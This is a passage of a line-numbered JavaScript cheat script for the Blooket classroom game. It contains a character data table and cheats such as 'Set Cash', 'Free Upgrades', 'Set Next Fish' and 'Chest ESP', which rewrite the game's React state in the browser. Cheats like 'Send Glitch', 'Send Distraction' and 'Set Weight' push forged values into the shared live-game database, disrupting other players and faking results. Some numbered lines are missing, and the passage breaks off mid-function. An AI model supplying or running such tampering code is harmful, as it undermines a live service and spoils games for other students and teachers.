2565 class: "\uD83C\uDF34",
2566 rarity: "Common",
2567 cash: [12, 28, 215, 2100, 21e3],
2568 time: [5, 3, 2, 2, 2],
2569 price: [530, 6500, 76e3, 87e4]
2570 }, {
2571 name: "Anaconda",
2572 color: "#8a9143",
2573 class: "\uD83C\uDF34",
2574 rarity: "Common",
2575 cash: [3, 15, 85, 1500, 7600],
2576 time: [1, 2, 1, 2, 1],
2577 price: [410, 5100, 58e3, 59e4]
2578 }, {
2579 name: "Orangutan",
2580 color: "#bc6234",
2581 class: "\uD83C\uDF34",
2582 rarity: "Common",
2583 cash: [13, 52, 570, 4300, 7e4],
2584 time: [5, 5, 5, 4, 4],
2585 price: [600, 7e3, 8e4, 14e5]
2586 }, {
2587 name: "Capuchin",
2588 color: "#e0b0a6",
2589 class: "\uD83C\uDF34",
2590 rarity: "Common",
2591 cash: [4, 14, 160, 780, 8200],
2592 time: [2, 2, 2, 1, 1],
2593 price: [390, 4700, 57e3, 68e4]
2594 }, {
2595 name: "Elf",
2596 color: "#a7d054",
2597 class: "⚔️",
2598 rarity: "Uncommon",
2599 cash: [5e3, 15e3, 15e4, 15e5, 1e7],
2600 time: [1, 1, 1, 1, 1],
2601 price: [8e5, 9e6, 11e7, 8e8]
2602 }, {
2603 name: "Witch",
2604 color: "#4ab96d",
2605 class: "⚔️",
2606 rarity: "Uncommon",
2607 cash: [18e3, 6e4, 4e4, 4e6, 35e6],
2608 time: [3, 3, 2, 2, 2],
2609 price: [11e5, 12e6, 15e7, 14e8]
2610 }, {
2611 name: "Wizard",
2612 color: "#5a459c",
2613 class: "⚔️",
2614 rarity: "Uncommon",
2615 cash: [19500, 65e3, 44e4, 46e5, 4e6],
2616 time: [3, 3, 2, 2, 2],
2617 price: [13e5, 135e5, 16e7, 16e8]
2618 }, {
2619 name: "Fairy",
2620 color: "#df6d9c",
2621 class: "⚔️",
2622 rarity: "Uncommon",
2623 cash: [18500, 6e4, 62e4, 44e5, 38e6],
2624 time: [3, 3, 3, 2, 2],
2625 price: [12e5, 125e5, 15e6, 15e8]
2626 }, {
2627 name: "Slime Monster",
2628 color: "#2fa04a",
2629 class: "⚔️",
2630 rarity: "Uncommon",
2631 cash: [35e3, 14e4, 1e6, 11e6, 11e7],
2632 time: [5, 5, 4, 4, 4],
2633 price: [16e5, 15e6, 2e8, 23e8]
2634 }, {
2635 name: "Jester",
2636 color: "#be1e2d",
2637 class: "⚔️",
2638 rarity: "Rare",
2639 cash: [25e3, 1e5, 68e4, 65e5, 32e6],
2640 time: [3, 3, 2, 2, 1],
2641 price: [2e6, 21e6, 23e7, 26e8]
2642 }, {
2643 name: "Dragon",
2644 color: "#2fa04a",
2645 class: "⚔️",
2646 rarity: "Rare",
2647 cash: [36e3, 15e4, 15e5, 15e6, 15e7],
2648 time: [4, 4, 4, 4, 4],
2649 price: [23e5, 24e6, 27e7, 3e9]
2650 }, {
2651 name: "Unicorn",
2652 color: "#f6afce",
2653 class: "⚔️",
2654 rarity: "Epic",
2655 cash: [24e3, 15e4, 14e5, 7e6, 75e6],
2656 time: [2, 2, 2, 1, 1],
2657 price: [45e5, 45e6, 55e7, 65e8]
2658 }, {
2659 name: "Queen",
2660 color: "#9e1f63",
2661 class: "⚔️",
2662 rarity: "Rare",
2663 cash: [24e3, 95e3, 95e4, 97e5, 95e6],
2664 time: [3, 3, 3, 3, 3],
2665 price: [19e5, 2e7, 23e7, 25e8]
2666 }, {
2667 name: "King",
2668 color: "#ee2640",
2669 class: "⚔️",
2670 rarity: "Legendary",
2671 cash: [75e3, 4e5, 6e6, 9e7, 125e7],
2672 time: [5, 5, 5, 5, 5],
2673 price: [6e6, 95e6, 16e8, 25e9]
2674 }, {
2675 name: "Two of Spades",
2676 color: "#414042",
2677 class: "\uD83C\uDFF0",
2678 rarity: "Uncommon",
2679 cash: [4500, 14e3, 14e4, 14e5, 9e6],
2680 time: [1, 1, 1, 1, 1],
2681 price: [77e4, 83e5, 98e6, 71e7]
2682 }, {
2683 name: "Eat Me",
2684 color: "#d58c55",
2685 class: "\uD83C\uDFF0",
2686 rarity: "Uncommon",
2687 cash: [13e3, 45e3, 45e4, 45e5, 5e7],
2688 time: [2, 2, 2, 2, 2],
2689 price: [13e5, 14e6, 16e7, 2e9]
2690 }, {
2691 name: "Drink Me",
2692 color: "#dd7399",
2693 class: "\uD83C\uDFF0",
2694 rarity: "Uncommon",
2695 cash: [12e3, 4e4, 4e5, 4e6, 45e6],
2696 time: [2, 2, 2, 2, 2],
2697 price: [12e5, 12e6, 14e7, 18e8]
2698 }, {
2699 name: "Alice",
2700 color: "#4cc9f5",
2701 class: "\uD83C\uDFF0",
2702 rarity: "Uncommon",
2703 cash: [13e3, 42e3, 21e4, 21e5, 23e6],
2704 time: [2, 2, 1, 1, 1],
2705 price: [12e5, 13e6, 15e7, 19e8]
2706 }, {
2707 name: "Queen of Hearts",
2708 color: "#d62027",
2709 class: "\uD83C\uDFF0",
2710 rarity: "Uncommon",
2711 cash: [23e3, 87e3, 62e4, 75e5, 9e7],
2712 time: [4, 4, 3, 3, 3],
2713 price: [13e5, 13e6, 18e7, 24e8]
2714 }, {
2715 name: "Dormouse",
2716 color: "#89d6f8",
2717 class: "\uD83C\uDFF0",
2718 rarity: "Rare",
2719 cash: [17e3, 68e3, 7e5, 35e5, 35e6],
2720 time: [2, 2, 1, 1, 1],
2721 price: [2e6, 22e6, 25e7, 28e8]
2722 }, {
2723 name: "White Rabbit",
2724 color: "#ffcd05",
2725 class: "\uD83C\uDFF0",
2726 rarity: "Rare",
2727 cash: [26e3, 105e3, 11e6, 77e5, 72e6],
2728 time: [3, 3, 3, 2, 2],
2729 price: [2e6, 23e6, 28e7, 29e8]
2730 }, {
2731 name: "Cheshire Cat",
2732 color: "#dd7399",
2733 class: "\uD83C\uDFF0",
2734 rarity: "Rare",
2735 cash: [32e3, 1e5, 9e5, 9e6, 6e7],
2736 time: [4, 3, 3, 3, 2],
2737 price: [18e5, 19e6, 22e7, 24e8]
2738 }, {
2739 name: "Caterpillar",
2740 color: "#00c0f3",
2741 class: "\uD83C\uDFF0",
2742 rarity: "Epic",
2743 cash: [1e4, 7e4, 65e4, 75e5, 85e6],
2744 time: [1, 1, 1, 1, 1],
2745 price: [42e5, 42e6, 54e7, 69e8]
2746 }, {
2747 name: "Mad Hatter",
2748 color: "#914f93",
2749 class: "\uD83C\uDFF0",
2750 rarity: "Epic",
2751 cash: [38e3, 25e4, 15e5, 14e6, 8e7],
2752 time: [3, 3, 2, 2, 1],
2753 price: [48e5, 48e6, 52e7, 66e8]
2754 }, {
2755 name: "King of Hearts",
2756 color: "#c62127",
2757 class: "\uD83C\uDFF0",
2758 rarity: "Legendary",
2759 cash: [8e4, 42e4, 68e5, 1e8, 15e8],
2760 time: [5, 5, 5, 5, 5],
2761 price: [7e6, 11e7, 18e8, 3e10]
2762 }, {
2763 name: "Earth",
2764 color: "#416eb5",
2765 class: "\uD83D\uDE80",
2766 rarity: "Uncommon",
2767 cash: [15e3, 45e3, 6e5, 65e5, 65e6],
2768 time: [3, 3, 3, 3, 3],
2769 price: [1e6, 11e6, 15e7, 17e8]
2770 }, {
2771 name: "Meteor",
2772 color: "#c68c3c",
2773 class: "\uD83D\uDE80",
2774 rarity: "Uncommon",
2775 cash: [23e3, 65e3, 7e5, 45e5, 2e7],
2776 time: [5, 4, 3, 2, 1],
2777 price: [95e4, 13e6, 16e7, 16e8]
2778 }, {
2779 name: "Stars",
2780 color: "#19184d",
2781 class: "\uD83D\uDE80",
2782 rarity: "Uncommon",
2783 cash: [1e4, 4e4, 2e5, 2e6, 18e6],
2784 time: [2, 2, 1, 1, 1],
2785 price: [14e5, 14e6, 15e7, 15e8]
2786 }, {
2787 name: "Alien",
2788 color: "#8dc63f",
2789 class: "\uD83D\uDE80",
2790 rarity: "Uncommon",
2791 cash: [3e4, 1e5, 1e6, 11e6, 85e6],
2792 time: [4, 4, 4, 4, 4],
2793 price: [15e5, 17e6, 19e7, 17e8]
2794 }, {
2795 name: "Planet",
2796 color: "#9dc6ea",
2797 class: "\uD83D\uDE80",
2798 rarity: "Rare",
2799 cash: [25e3, 1e5, 9e5, 9e6, 9e7],
2800 time: [3, 3, 3, 3, 3],
2801 price: [2e6, 21e6, 21e7, 24e8]
2802 }, {
2803 name: "UFO",
2804 color: "#a15095",
2805 class: "\uD83D\uDE80",
2806 rarity: "Rare",
2807 cash: [17e3, 7e4, 7e5, 7e6, 7e7],
2808 time: [2, 2, 2, 2, 2],
2809 price: [21e5, 23e6, 25e7, 28e8]
2810 }, {
2811 name: "Spaceship",
2812 color: "#ffcb29",
2813 class: "\uD83D\uDE80",
2814 rarity: "Epic",
2815 cash: [6e4, 32e4, 21e5, 15e6, 85e6],
2816 time: [5, 4, 3, 2, 1],
2817 price: [48e5, 46e6, 54e7, 68e8]
2818 }, {
2819 name: "Astronaut",
2820 color: "#9bd4ee",
2821 class: "\uD83D\uDE80",
2822 rarity: "Legendary",
2823 cash: [45e3, 26e4, 25e5, 38e6, 55e7],
2824 time: [3, 3, 2, 2, 2],
2825 price: [65e5, 1e8, 17e8, 27e9]
2826 }, {
2827 name: "Lil Bot",
2828 color: "#3e564a",
2829 class: "\uD83E\uDD16",
2830 rarity: "Uncommon",
2831 cash: [4e3, 12e3, 18e4, 19e5, 25e6],
2832 time: [1, 1, 1, 1, 1],
2833 price: [73e4, 12e6, 13e7, 19e8]
2834 }, {
2835 name: "Lovely Bot",
2836 color: "#f179af",
2837 class: "\uD83E\uDD16",
2838 rarity: "Uncommon",
2839 cash: [16e3, 65e3, 65e4, 48e5, 42e6],
2840 time: [3, 3, 3, 2, 2],
2841 price: [13e5, 14e6, 17e7, 16e8]
2842 }, {
2843 name: "Angry Bot",
2844 color: "#f1613a",
2845 class: "\uD83E\uDD16",
2846 rarity: "Uncommon",
2847 cash: [22e3, 85e3, 8e5, 62e5, 65e6],
2848 time: [4, 4, 4, 3, 3],
2849 price: [12e5, 13e6, 15e7, 17e8]
2850 }, {
2851 name: "Happy Bot",
2852 color: "#51ba6b",
2853 class: "\uD83E\uDD16",
2854 rarity: "Uncommon",
2855 cash: [11e3, 45e3, 5e5, 25e5, 3e7],
2856 time: [2, 2, 2, 1, 1],
2857 price: [14e5, 15e6, 18e7, 24e8]
2858 }, {
2859 name: "Watson",
2860 color: "#d69b5a",
2861 class: "\uD83E\uDD16",
2862 rarity: "Rare",
2863 cash: [24e3, 1e5, 1e6, 1e7, 1e8],
2864 time: [3, 3, 3, 3, 3],
2865 price: [2e6, 22e6, 24e7, 26e8]
2866 }, {
2867 name: "Buddy Bot",
2868 color: "#9dc6ea",
2869 class: "\uD83E\uDD16",
2870 rarity: "Rare",
2871 cash: [22e3, 95e3, 65e4, 65e5, 65e6],
2872 time: [3, 3, 2, 2, 2],
2873 price: [19e5, 21e6, 23e7, 25e8]
2874 }, {
2875 name: "Brainy Bot",
2876 color: "#9ecf7a",
2877 class: "\uD83E\uDD16",
2878 rarity: "Epic",
2879 cash: [5e4, 25e4, 21e5, 21e6, 17e7],
2880 time: [4, 3, 3, 3, 2],
2881 price: [5e6, 46e6, 5e8, 67e8]
2882 }, {
2883 name: "Mega Bot",
2884 color: "#d71f27",
2885 class: "\uD83E\uDD16",
2886 rarity: "Legendary",
2887 cash: [8e4, 43e4, 42e5, 62e6, 1e9],
2888 time: [5, 5, 3, 3, 3],
2889 price: [7e6, 12e7, 19e8, 35e9]
2890 }].find(function({
2891 name: e
2892 }) {
2893 return e.toLowerCase() == this
2894 }, prompt("Enter blook name:").toLowerCase());
2895 o ? (t.state.blooks.length >= 10 && alert("Choose a blook to replace"), t.chooseBlook(o)) : alert("That is not a valid blook!")
2897 }, {
2898 name: "Free Upgrades",
2899 description: "Sets upgrade prices to 0 for all current blooks",
2900 run: function() {
2901 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState(e => ({
2902 ...e,
2903 blooks: e.blooks.map(e => ({
2904 ...e,
2905 price: [0, 0, 0, 0]
2909 }, {
2910 name: "Max Blooks",
2911 description: "Maxes out all your blooks' levels",
2912 run: function() {
2913 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.state.blooks.forEach(e => e.level = 4)
2915 }, {
2916 name: "Remove Glitches",
2917 description: "Removes all enemy glitches",
2918 run: function() {
2919 var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
2920 e.setState({
2921 bits: 0,
2922 ads: [],
2923 hazards: [],
2924 color: "",
2925 lol: !1,
2926 joke: !1,
2927 slow: !1,
2928 dance: !1,
2929 glitch: "",
2930 glitcherName: "",
2931 glitcherBlook: ""
2932 }), clearTimeout(e.adTimeout), clearInterval(e.hazardInterval), clearTimeout(e.nightTimeout), clearTimeout(e.glitchTimeout), clearTimeout(e.lolTimeout), clearTimeout(e.jokeTimeout), clearTimeout(e.slowTimeout), clearTimeout(e.danceTimeout), clearTimeout(e.nameTimeout)
2934 }, {
2935 name: "Send Glitch",
2936 description: "Sends a glitch to everyone else playing",
2937 run: function() {
2938 var e = document.createElement("iframe"),
2939 e = (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode,
2940 t = {
2941 lb: "Lunch Break",
2942 as: "Ad Spam",
2943 e37: "Error 37",
2944 nt: "Night Time",
2945 lo: "#LOL",
2946 j: "Jokester",
2947 sm: "Slow Mo",
2948 dp: "Dance Party",
2949 v: "Vortex",
2950 r: "Reverse",
2951 f: "Flip",
2952 m: "Micro"
2954 o = Object.keys(t)[Math.floor(Math.random() * Object.keys(t).length)];
2955 e.safe = !0, e.props.liveGameController.setVal({
2956 path: `c/${e.props.client.name}/tat`,
2957 val: o
2958 }), alert(`Sent a ${t[o]} glitch`)
2960 }, {
2961 name: "Set All MegaBot",
2962 description: "Sets all your blooks to maxed out Mega Bots",
2963 run: function() {
2964 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
2965 blooks: Array(10).fill({
2966 name: "Mega Bot",
2967 color: "#d71f27",
2968 class: "\uD83E\uDD16",
2969 rarity: "Legendary",
2970 cash: [8e4, 43e4, 42e5, 62e6, 1e9],
2971 time: [5, 5, 3, 3, 3],
2972 price: [7e6, 12e7, 19e8, 35e9],
2973 active: !1,
2974 level: 4,
2975 bonus: 5.5
2979 }, {
2980 name: "Set Cash",
2981 description: "Sets amount of cash you have",
2982 run: function() {
2983 var e = document.createElement("iframe"),
2984 e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How much cash would you like?"))));
2985 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
2986 cash: e
2990 fishing: [{
2991 name: "Frenzy",
2992 description: "Sets everyone to frenzy mode",
2993 run: function() {
2994 var e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
2995 e.props.liveGameController.setVal({
2996 path: "c/" + e.props.client.name,
2997 val: {
2998 b: e.props.client.blook,
2999 w: e.state.weight,
3000 f: "Frenzy",
3001 s: !0
3005 }, {
3006 name: "Always Frenzy",
3007 description: "Always sets everyone to frenzy mode",
3008 type: "toggle",
3009 enabled: false,
3010 data: null,
3011 run: function() {
3012 if (this.enabled) {
3013 this.enabled = false;
3014 clearInterval(this.data);
3015 this.data = null;
3016 } else {
3017 this.enabled = true;
3018 this.data = setInterval(() => {
3019 const cheat = (async () => {
3020 let {
3021 stateNode
3022 } = Object.values((function react(r = document.querySelector("body>div")) {
3023 return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
3024 })())[1].children[0]._owner;
3025 stateNode.props.liveGameController.setVal({
3026 path: `c/${stateNode.props.client.name}`,
3027 val: {
3028 b: stateNode.props.client.blook,
3029 w: stateNode.state.weight,
3030 f: "Frenzy",
3031 s: true
3035 cheat();
3036 }, 50);
3039 }, {
3040 name: "Remove Distractions",
3041 description: "Removes distractions",
3042 type: "toggle",
3043 enabled: !1,
3044 data: null,
3045 run: function() {
3046 this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null) : (this.enabled = !0, this.data = setInterval(() => {
3047 Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
3048 party: ""
3050 }, 50))
3052 }, {
3053 name: "Send Distraction",
3054 description: "Sends a distraction to everyone",
3055 run: function() {
3056 var e = document.createElement("iframe"),
3057 e = (document.body.append(e), window.alert = e.contentWindow.alert.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode,
3058 t = ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(9 * Math.random())];
3059 e.safe = !0, e.props.liveGameController.setVal({
3060 path: "c/" + e.props.client.name,
3061 val: {
3062 b: e.props.client.blook,
3063 w: e.state.weight,
3064 f: t,
3065 s: !0
3067 }), alert(`Sent a ${t} distraction`)
3069 }, {
3070 name: "Set Lure",
3071 description: "Sets fishing lure (range 1 - 5)",
3072 run: function() {
3073 var e = document.createElement("iframe");
3074 document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({
3075 lure: Math.max(Math.min(Number(parseInt(prompt("What would you like to set your lure to? (1 - 5)"))) - 1, 4), 0)
3078 }, {
3079 name: "Set Next Fish",
3080 description: "Sets the next fish to catch",
3081 run: function() {
3082 var e = document.createElement("iframe");
3084 function t() {
3085 return Object.values(document.querySelector("#app > div > div"))[1].children[0]._owner
3087 document.body.appendChild(e), window.prompt = e.contentWindow.prompt.bind(window), window.alert = e.contentWindow.alert.bind(window), e.remove();
3088 var o = {
3089 "Old Boot": {
3090 rarity: "Trash",
3091 minWeight: 1,
3092 maxWeight: 10,
3093 tiers: ["F", "D", "C"]
3095 Waffle: {
3096 rarity: "Trash",
3097 minWeight: 1,
3098 maxWeight: 10,
3099 tiers: ["F", "D", "C"]
3101 "Two of Spades": {
3102 rarity: "Trash",
3103 minWeight: 1,
3104 maxWeight: 10,
3105 tiers: ["F", "D", "C"]
3107 Jellyfish: {
3108 rarity: "Easy One",
3109 minWeight: 10,
3110 maxWeight: 25,
3111 tiers: ["D", "C", "B"]
3113 Clownfish: {
3114 rarity: "Easy One",
3115 minWeight: 20,
3116 maxWeight: 45,
3117 tiers: ["D", "C", "B"]
3119 Goldfish: {
3120 rarity: "Easy One",
3121 minWeight: 30,
3122 maxWeight: 65,
3123 tiers: ["D", "C", "B"]
3125 Frog: {
3126 rarity: "Easy One",
3127 minWeight: 50,
3128 maxWeight: 100,
3129 tiers: ["D", "C", "B"]
3131 "Blizzard Clownfish": {
3132 rarity: "Great Catch",
3133 minWeight: 75,
3134 maxWeight: 125,
3135 tiers: ["D", "C", "B"]
3137 Turtle: {
3138 rarity: "Great Catch",
3139 minWeight: 100,
3140 maxWeight: 150,
3141 tiers: ["D", "C", "B", "A"]
3143 Cat: {
3144 rarity: "Great Catch",
3145 minWeight: 100,
3146 maxWeight: 200,
3147 tiers: ["D", "C", "B", "A"]
3149 "Lovely Frog": {
3150 rarity: "Great Catch",
3151 minWeight: 150,
3152 maxWeight: 350,
3153 tiers: ["D", "C", "B", "A"]
3155 "Lucky Frog": {
3156 rarity: "Great Catch",
3157 minWeight: 200,
3158 maxWeight: 400,
3159 tiers: ["D", "C", "B", "A"]
3161 "Poison Dart Frog": {
3162 rarity: "Great Catch",
3163 minWeight: 250,
3164 maxWeight: 750,
3165 tiers: ["D", "C", "B", "A"]
3167 Seal: {
3168 rarity: "Rare Find",
3169 minWeight: 500,
3170 maxWeight: 1e3,
3171 tiers: ["D", "C", "B", "A"]
3173 Walrus: {
3174 rarity: "Rare Find",
3175 minWeight: 700,
3176 maxWeight: 2200,
3177 tiers: ["D", "C", "B", "A"]
3179 Fairy: {
3180 rarity: "Rare Find",
3181 minWeight: 1500,
3182 maxWeight: 2500,
3183 tiers: ["D", "C", "B", "A"]
3185 Crab: {
3186 rarity: "Rare Find",
3187 minWeight: 1e3,
3188 maxWeight: 3e3,
3189 tiers: ["D", "C", "B", "A"]
3191 "Lemon Crab": {
3192 rarity: "Rare Find",
3193 minWeight: 2e3,
3194 maxWeight: 5e3,
3195 tiers: ["C", "B", "A"]
3197 Pufferfish: {
3198 rarity: "Rare Find",
3199 minWeight: 2e3,
3200 maxWeight: 4e3,
3201 tiers: ["D", "C", "B", "A"]
3203 Blobfish: {
3204 rarity: "Rare Find",
3205 minWeight: 3e3,
3206 maxWeight: 5e3,
3207 tiers: ["D", "C", "B", "A"]
3209 "Rainbow Jellyfish": {
3210 rarity: "Epic Grab",
3211 minWeight: 7e3,
3212 maxWeight: 1e4,
3213 tiers: ["C", "B", "A"]
3215 Octopus: {
3216 rarity: "Epic Grab",
3217 minWeight: 1e4,
3218 maxWeight: 15e3,
3219 tiers: ["C", "B", "A"]
3221 "Pirate Pufferfish": {
3222 rarity: "Epic Grab",
3223 minWeight: 12e3,
3224 maxWeight: 2e4,
3225 tiers: ["C", "B", "A"]
3227 "Donut Blobfish": {
3228 rarity: "Epic Grab",
3229 minWeight: 13e3,
3230 maxWeight: 25e3,
3231 tiers: ["C", "B", "A"]
3233 "Crimson Octopus": {
3234 rarity: "Epic Grab",
3235 minWeight: 15e3,
3236 maxWeight: 3e4,
3237 tiers: ["B", "A"]
3239 Narwhal: {
3240 rarity: "Catch of the Day",
3241 minWeight: 25e3,
3242 maxWeight: 5e4,
3243 tiers: ["B", "A", "S"]
3245 "Baby Shark": {
3246 rarity: "Catch of the Day",
3247 minWeight: 5e4,
3248 maxWeight: 1e5,
3249 tiers: ["B", "A", "S"]
3251 Megalodon: {
3252 rarity: "Catch of the Day",
3253 minWeight: 25e4,
3254 maxWeight: 5e5,
3255 tiers: ["B", "A", "S"]
3257 Alien: {
3258 rarity: "Angler's Legend",
3259 minWeight: 5e5,
3260 maxWeight: 7e5,
3261 tiers: ["A", "S"]
3263 "Rainbow Narwhal": {
3264 rarity: "Angler's Legend",
3265 minWeight: 75e4,
3266 maxWeight: 1e6,
3267 tiers: ["A", "S", "S+"]
3269 UFO: {
3270 rarity: "Angler's Legend",
3271 minWeight: 1e6,
3272 maxWeight: 2e6,
3273 tiers: ["A", "S", "S+"]
3275 "Santa Claus": {
3276 rarity: "Angler's Legend",
3277 minWeight: 1e6,
3278 maxWeight: 2e6,
3279 tiers: ["A", "S", "S+"]
3281 "Swamp Monster": {
3282 rarity: "Angler's Legend",
3283 minWeight: 1e6,
3284 maxWeight: 2e6,
3285 tiers: ["A", "S", "S+"]
3287 "Red Astronaut": {
3288 rarity: "Angler's Legend",
3289 minWeight: 1e6,
3290 maxWeight: 2e6,
3291 tiers: ["A", "S", "S+"]
3293 "Spooky Pumpkin": {
3294 rarity: "Angler's Legend",
3295 minWeight: 1e6,
3296 maxWeight: 2e6,
3297 tiers: ["A", "S", "S+"]
3299 Dragon: {
3300 rarity: "Angler's Legend",
3301 minWeight: 1e6,
3302 maxWeight: 2e6,
3303 tiers: ["A", "S", "S+"]
3305 "Tim the Alien": {
3306 rarity: "Angler's Legend",
3307 minWeight: 15e5,
3308 maxWeight: 25e5,
3309 tiers: ["A", "S", "S+"]
3312 a = ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"];
3313 if (!window.functionSet) {
3314 var r = t().stateNode.answerNext;
3315 t().stateNode.answerNext = function() {
3316 if (t().stateNode.state.hackFish) {
3317 var e, n, i;
3318 t().stateNode.setState({
3319 stage: "caught",
3320 isCast: !1,
3321 fish: {
3322 name: e = t().stateNode.state.hackFish,
3323 rarity: o[e].rarity,
3324 weight: (n = o[e].minWeight, Math.floor(Math.random() * ((i = o[e].maxWeight) - n) + n)),
3325 tier: o[e].tiers[Math.floor(Math.random() * o[e].tiers.length)],
3326 isSpecial: a.includes(e) && 8 > Math.floor(100 * Math.random())
3328 claimReady: !1
3329 }), setTimeout(function() {
3330 t().stateNode.setState({
3331 claimReady: !0
3333 }, 1600), t().stateNode.state.hackFish = null
3334 } else r.apply(this, arguments)
3337 window.functionSet = !0,
3338 function e(a) {
3339 if (Object.keys(o).includes(a)) t().stateNode.state.hackFish = a;
3340 else {
3341 alert("That fish does not exist!");
3342 return
3344 }(prompt("What fish would you like to catch next (case sensitive)?"))
3346 }, {
3347 name: "Set Weight",
3348 description: "Sets weight",
3349 run: function() {
3350 var e = document.createElement("iframe"),
3351 e = (document.body.append(e), window.prompt = e.contentWindow.prompt.bind(window), e.remove(), Number(parseInt(prompt("How much weight would you like?")))),
3352 t = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3353 t.setState({
3354 weight: e,
3355 weight2: e
3356 }), t.props.liveGameController.setVal({
3357 path: "c/" + t.props.client.name,
3358 val: {
3359 b: t.props.client.blook,
3360 w: e,
3361 f: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math.floor(9 * Math.random())]
3366 flappy: [{
3367 name: "Toggle Ghost",
3368 description: "Lets you go through the pipes",
3369 type: "toggle",
3370 enabled: false,
3371 run: function() {
3372 this.enabled = !this.enabled;
3373 for (const body of Object.values(document.querySelector("#phaser-bouncy"))[0].return.updateQueue.lastEffect.deps[0].current.config.sceneConfig.physics.world.bodies.entries) {
3374 if (!body.gameObject.frame.texture.key.startsWith("blook")) continue;
3375 body.checkCollision.none = this.enabled;
3376 body.gameObject.setAlpha(this.enabled ? 0.5 : 1);
3377 break;
3380 }, {
3381 name: "Set Score",
3382 description: "Sets flappy blook score",
3383 run: function() {
3384 Object.values(document.querySelector("#phaser-bouncy"))[0].return.updateQueue.lastEffect.deps[1](parseInt(prompt("What do you want to set your score to?")) || 0);
3387 gold: [{
3388 name: "Always Triple",
3389 description: "Always get triple gold",
3390 type: "toggle",
3391 enabled: !1,
3392 data: null,
3393 run: function() {
3394 let e = Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;
3395 e._choosePrize ||= e.choosePrize, this.enabled ? (this.enabled = !1, clearInterval(this.data), this.data = null, e.choosePrize = e._choosePrize || e.choosePrize) : (this.enabled = !0, this.data = setInterval(() => {
3396 e.choosePrize = function(t) {
3397 e.state.choices[t] = {
3398 type: "multiply",
3399 val: 3,
3400 text: "Triple Gold!",
3401 blook: "Unicorn"
3402 }, e._choosePrize(t)
3404 }, 50))
3406 }, {
3407 name: "Auto Choose",
3408 description: "Automatically picks the option that would give you the most gold",
3409 type: "toggle",
3410 enabled: false,
3411 data: null,
3412 run: function() {
3413 if (this.enabled) {
3414 this.enabled = false;
3415 clearInterval(this.data);
3416 this.data = null;
3417 } else {
3418 this.enabled = true;
3419 this.data = setInterval(() => {
3420 let {
3421 stateNode
3422 } = Object.values((function react(r = document.querySelector("body>div")) {
3423 return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
3424 })())[1].children[0]._owner;
3426 if (stateNode.state.stage == "prize") {
3427 stateNode.props.liveGameController.getDatabaseVal("c", (players) => {
3428 if (players == null) return;
3429 players = Object.entries(players);
3430 let most = 0,
3431 max = 0,
3432 index = -1;
3433 for (let i = 0; i < players.length; i++) {
3434 if (players[i][0] != stateNode.props.client.name && players[i][1] > most) {
3435 most = players[i][1];
3438 for (let i = 0; i < stateNode.state.choices.length; i++) {
3439 const choice = stateNode.state.choices[i];
3440 let value = stateNode.state.gold;
3441 if (choice.type == "gold") {
3442 value = stateNode.state.gold + (choice.val || 0);
3443 } else if (choice.type == "multiply" || choice.type == "divide") {
3444 value = Math.round(stateNode.state.gold * choice.val) || stateNode.state.gold;
3445 } else if (choice.type == "swap") {
3446 value = most || stateNode.state.gold;
3447 } else if (choice.type == "take") {
3448 value = stateNode.state.gold + (most * choice.val || 0);
3450 if ((value || 0) <= max) continue;
3451 max = value;
3452 index = i + 1;
3454 document.querySelector("div[class*='choice" + index + "']")?.click();
3457 }, 50);
3460 }, {
3461 name: "Chest ESP",
3462 description: "Shows what each chest will give you",
3463 type: "toggle",
3464 enabled: false,
3465 data: null,
3466 run: function() {
3467 if (this.enabled) {
3468 this.enabled = false;
3469 clearInterval(this.data);
3470 this.data = null;
3471 } else {
3472 this.enabled = true;
3473 this.data = setInterval(() => {
3474 const cheat = (async () => {
3475 Object.values((function react(r = document.querySelector("body>div")) {
3476 return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div"))
3477 })())[1].children[0]._owner.stateNode.state.choices.forEach(({
3478 text
3479 }, index) => {
3480 let chest = document.querySelector(`div[class*='choice${index + 1}']`);
3481 if (!chest || chest.querySelector('div')) return;
3482 let choice = document.createElement('div')
3483 choice.style.color = "white";
3484 choice.style.fontFamily = "Eczar";
3485 choice.style.fontSize = "2em";
3486 choice.style.display = "flex";
3487 choice.style.justifyContent = "center";
3488 choice.style.transform = "translateY(200px)";
3489 choice.innerText = text;
3490 chest.append(choice)
3493 cheat();
3494 }, 50);
3497 }, {
3498 name: "Remove Lose 25%-50%",
3499 description: "Blocks buttons with text 'Lose 25%' and 'Lose 50%'",
3500 type: "toggle",
3501 enabled: !1,
3502 data: null,
3503 run: function() {
3504 let e = this,
3505 t = this;
3507 function o() {
3508 return Object.values(document.querySelector("#app > div > div"))[1].children[1]._owner
3510 e.enabled || t.enabled ? (clearInterval(e.data), clearInterval(t.data), e.data = null, t.data = null, e.enabled = !1, t.enabled = !1) : (e.enabled = !0, t.enabled = !0, e.data = setInterval(() => {
